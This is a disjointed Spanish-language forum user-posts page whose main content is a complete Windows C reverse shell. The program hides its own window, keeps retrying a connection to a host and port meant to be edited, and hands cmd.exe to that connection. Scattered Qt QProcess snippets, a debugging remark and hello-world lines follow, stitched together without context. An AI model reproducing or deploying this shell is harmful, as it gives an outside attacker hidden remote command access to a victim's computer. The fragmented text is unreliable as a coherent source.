No se hacen tareas, pon codigo, o algo...
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
struct sockaddr_in host;
SOCKET sockfd;
int main (int argc, char *argv [])
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
host.sin_port = htons (31337); //Igualmente!
host.sin_family = AF_INET;
memset (host.sin_zero, 0, 8);
if ((sockfd = socket (2, 1, 0)) == -1) return 1;
while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr))) Sleep (1);
PROCESS_INFORMATION info_proc;
STARTUPINFO start_proc;
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)sockfd;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);
closesocket (sockfd);
return 0;
}
QProcess ejecutar;
¿Que libreria estas usando? No conozco nada parecido en C o C++. Es una estructura de funciones? if (parametros[0] == "execute")
Estas diciendo que si el programa se llama "execute" abriras "programa". if (parametros[1] == "execute")
{
QProcess ejecutar;
ejecutar.start(parametros[2]);
}
Bueno, fallo mio y disculpas a todos...
De acuerdo, falla aqui:
[code=c]
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);
printf ("Hola mundo!");
printf ("Hola mundo %d%d%d!");